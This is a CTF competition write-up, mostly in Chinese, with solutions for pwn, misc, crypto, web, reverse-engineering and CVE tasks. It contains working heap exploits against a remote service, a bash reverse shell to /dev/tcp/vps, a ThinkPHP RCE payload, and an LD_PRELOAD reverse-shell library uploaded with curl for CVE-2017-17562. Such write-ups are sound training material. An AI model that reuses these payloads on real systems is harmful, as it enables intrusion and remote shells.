pwn
HackNote
edit那边的strlen存在问题,如果一直输入接到下一个chunk的size地方,那就会出现new_len>old_len情况,可以下一次edit到size段,从而造成堆重叠,最后修改malloc_hook来getshell。但是长度不够,所以自写了个read后ret过去执行。
from pwn import *
#r=process('./HackNote')
r=remote('183.129.189.62',11104)
context(arch = 'amd64', os = 'linux')
def gd():
gdb.attach(r)
pause()
def add(size,content):
r.sendlineafter('-----------------','1')
r.sendlineafter('nput the Size:',str(size))
r.sendafter('he Note:',content)
def free(idx):
r.sendlineafter('-----------------','2')
r.sendlineafter('the Index of Note:',str(idx))
def edit(idx,content):
r.sendlineafter('-----------------','3')
r.sendlineafter('Note',str(idx))
r.sendafter('Input the Note:',content)
fake=0x06CBC40
free_hook=0x6CD5E8
malloc_hook=0x6CB788
sc=asm(shellcraft.sh())
sc='''
xor rdi,rdi
push 0x6cbc40
pop rsi
push 0x100
pop rbx
push 0
pop rax
syscall
push 0x6cbc40
ret
'''
sc=asm(sc)
print shellcraft.sh()
print hex(len(sc))
add(0xf8,p64(0)+p64(0xf1)+p64(fake-0x18)+p64(fake-0x10)+p64(0)*26+p64(0xf0))#0
add(0xf8,'aaaan')#1
add(0x38,'bbbbn')#2
add(0x50,'ccccn')#3
edit(0,'a'*0xf8)
edit(0,p64(0xffffffffffffffff)+p64(0xf1)+p64(fake)+p64(fake+8)+p64(0)*26+p64(0xf0)+'x41'+'x01')
free(1)
add(0xf8,'aaaan')#1
add(0x38,p64(malloc_hook-0xe-8)+'n')#4
free(2)
edit(4,p64(malloc_hook-0xe-8)+'n')
add(0x38,p64(malloc_hook-0xe-8)+'n')#2
add(0x38,'a'*6+p64(malloc_hook+8)+sc+'n')
r.sendline('1')
r.recvuntil('Input the Size:n')
r.sendline('123')
r.sendline(asm(shellcraft.sh()))
r.interactive()
NameSystem
free那边的挨个向前有问题,18=19但19!=0
洞存在free时候,如果free18,这时候18=19,或者说,只要19存在,每次free,19不置零但是18=19.所以从而double free,没有leak函数,所以考虑把free_got改掉成printf_plt来整,最后leak完后改system来getshell
from pwn import *
#r = process("./NameSystem")
r=remote('183.129.189.62',21405)
libc=ELF('./libc-2.23.so')
def add(size, content):
r.sendline("1")
r.sendlineafter("Name Size:", str(size))
r.sendlineafter("Name:", content)
r.recvuntil("Your choice :n")
def free(index):
r.sendline("3")
r.sendlineafter("The id you want to delete:", str(index))
def gd():
gdb.attach(r)
pause()
elf=ELF("./NameSystem")
while(1):
r.recvuntil("Your choice :n")
for i in range(17):
add(0x40, "/bin/sh")
add(0x50,'/bin/sh')
add(0x50, "/bin/sh")
add(0x50, "/bin/sh")
free(18)
free(18)
free(17)
free(19)#1
free(0)#2
free(0)#3
add(0x60,'/bin/sh')#17
add(0x60,'/bin/sh')#18
add(0x60,'/bin/sh')
free(18)
free(18)
free(17)
free(19)
for i in range(14):
free(0)
add(0x50, p64(elf.got['free']-0x1e))
add(0x50, p64(0))
add(0x50, "/bin/shx00")
add(0x50, 'x00'*6+p64(0x71)+p32(elf.plt['printf']) + "x00" * 3)
print hex(elf.got['free'])
print hex(elf.got['printf'])
add(0x40,'%13$p')
free(9)
r.recvuntil('0x')
leak=int(r.recv(12),16)
print hex(leak)
libc_base=leak-240-libc.symbols['__libc_start_main']
print hex(libc_base)
add(0x60, p64(elf.got['free']-0x10))
add(0x60, p64(0))
add(0x60, "/bin/shx00")
add(0x60,p64(libc_base+0x45390)[:7])
r.interactive()
misc
something in image
file命令分析是linux镜像文件,R-studio打开发现Flag.txt拿到flag
Ezmemory
拿到一个mem.raw
,上volatility
先volatility -f mem.raw imageinfo
获取镜像系统信息
--profile=Win7SP1x64
指定操作系统
volatility -f mem.raw --profile=Win7SP1x64 pslist
列出所有进程
发现有一个cmd
进程
volatility -f mem.raw --profile=Win7SP1x64 cmdscan
查看命令行上的操作
发现flag
misc4
azpr爆破解压密码为123456
elf运行后有flag,但是提交错误。根据题目名字猜测是elf隐写,搜了半天搜到一个hydan隐写,参考链接:https://www.cnblogs.com/pcat/p/6716502.html
但是hydan解密需要密码。猜测和压缩包密码一样是123456,得到8*&#b
,然后解密aes密文,得到bNa3vN1ImCHYlN42kC1FYA47aMalbAXIpNaMsAXBVNKApMqMnBro8
,再解一层xxencode,然后再栅栏拿到最后的flag
crypto
give me your passport
代码审计后,发现是个简单的AES-CBC。
AES的key都已经给了。
只要发过去的东西,前16字节是IV,后面的解密出来是Admin即可获得flag。
任意选择一次服务器返回的IV,然后用KEY对’Admin’加密,连接成密文,发过去,就能拿到flag。
RSA
e * d = 1 (mod (p-1)(q-1))
e dp = 1 (mod p-1)
那么可以写成 edp – 1 = k * (p-1)
其中1 <= k <= e
可以根据下面这个方法爆破k
from Crypto.Uitl.number import *
e = 65537
dp = ...
kp_1 = dp*e - 1
for k in range(1, e):
if kp_1 % k == 0:
tmp = kp_1 // k
if isPrime(tmp+1):
print(tmp)
得到输出127353412948873836906687778206509910878775314988106052080998527001224905757226684812828764973002447453109594922446553339420598206561385151430457829996205647622747518251616965320363658027264186719678664334278218049211583365254398026548102259795044636599208243773041401637282792878778039534749858540041527364997
即为p,解密即可
p = ...
n = ...
c = ...
q = n // p
assert(n == p*q)
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
# flag{d90a4bb43f64275794522dffdb4bd78b}
DES
DES,给了16组子密钥,解密分分钟。(用自己写的DES实现)
In [25]: for i in range(0, len(c), 8):
...: print(DES.DES_dec(c[i:i+8], subkey))
...:
b'4313e6e9'
b'1be766c4'
b'8725e5bd'
mes = b’4313e6e91be766c48725e5bd’
flag = mes+deskey
关键是恢复出原始的8字节(64位)密钥。
实际上,DES有效的密钥长度是56位,另外8位是为了保证每一个字节都是odd parity。
有2**8=256
种可能的原始8字节密钥。
利用工具,可以恢复出其中的某一个:
$ ./des_keyschedule a096463b0798 3433313365366539 800379453d5758a2
Round1 key: A096463B0798 == 28 09 19 06 0E 30 1E 18
Plain: 3433313365366539
Cipher: 800379453d5758a2
Reversing key scheduling...
Key found at offset 46: 416f48656f664442
hex转成ascii得到AoHeofDB
,连接起来,提交,错误。
那看来需要算出另外255种可能的初始密钥,然后手动提交爆破flag了。
In [84]: for i in range(2**8):
...: tmp = l.copy()
...: for index, j in enumerate(bin(i)[2:].zfill(8)):
...: if j == '1'
...: tmp[index] ^= 1
...: key = b''
...: for j in tmp:
...: key += bytes([j])
...: assert(pyDes.des(deskey).Kn == subkey)
...: print(mes+key)
...:
...:
b'4313e6e91be766c48725e5bdAnHeofDB'
b'4313e6e91be766c48725e5bdAnHeofDC'
b'4313e6e91be766c48725e5bdAnHeofEB'
b'4313e6e91be766c48725e5bdAnHeofEC'
b'4313e6e91be766c48725e5bdAnHeogDB'
b'4313e6e91be766c48725e5bdAnHeogDC'
b'4313e6e91be766c48725e5bdAnHeogEB'
b'4313e6e91be766c48725e5bdAnHeogEC'
b'4313e6e91be766c48725e5bdAnHenfDB'
b'4313e6e91be766c48725e5bdAnHenfDC'
b'4313e6e91be766c48725e5bdAnHenfEB'
b'4313e6e91be766c48725e5bdAnHenfEC'
b'4313e6e91be766c48725e5bdAnHengDB'
b'4313e6e91be766c48725e5bdAnHengDC'
b'4313e6e91be766c48725e5bdAnHengEB'
b'4313e6e91be766c48725e5bdAnHengEC'
b'4313e6e91be766c48725e5bdAnHdofDB'
b'4313e6e91be766c48725e5bdAnHdofDC'
b'4313e6e91be766c48725e5bdAnHdofEB'
b'4313e6e91be766c48725e5bdAnHdofEC'
...
好在试了前几个就试对了。
最后的flag应该是4313e6e91be766c48725e5bdAnHengDB
web
untar
题目改编了2017 hitcon 的ssrfme
UNTAR的作用其实和GET是一样的,而且filename参数是没有过滤的,所以我们只要多走一步就ok了,payload如下:
shell.txt 内容 bash -i >& /dev/tcp/vps/11111 0<&1 2>&1
url=http://vps/shell.txt&filename=a
url=http://vps&filename=bash a|
thinkphp?
看到有人一下就秒了,猜测是tp5rce,然后还真是。
- thinkphp rce
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag
re
re1
程序实现了一个迷宫输入必须为hex
dump出地图
8 1 e b 7 10 1
b f f 1 1 9 1
1 1 1 1 1 b 1
c c 8 e 1 8 1
8 1 1 c 9 e 1
d 8 b 1 1 1 1
1 1 9 a 9 9 63
1 up
2 down
3 left
4 right
2 4 4 1 4 4 4 2 2 2 2 3 3 1 3 3 3 2 2 4 4 2 4 4 4 4
输入后对输入替换出现flag
re2
upx壳直接脱完后发现是: 输入转16进制-1后直接明文比较
dump出数据-1后就是答案 //转16进制函数中还初始化了些加上即可
4fc5f0e3e2e199a0a6ddd945aa2dfeda
re3
加密和解密函数都调用了下
对输入加密后与局部变3ACF8D62AAA0B630C4AF43AF327CE129D46F0FEB98D9040F713BE65502A5107A
比较
直接在解密函数前把输入的加密替换成上面的就行
然后查看回显是3561636230363233313732346338633336396261653731313136366462653835
转字符串就是flag
5acb06231724c8c369bae711166dbe85
创新
大数据安全
cve复现
- CVE-2017-17562
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="ip";
uint32_t server_port=5431;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
execve("/bin/sh", 0, 0);
}
- gcc -shared -fPIC ./exp.c -o exp.so
- curl -X POST —data-binary @exp.so “http://183.129.189.62:11700/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0“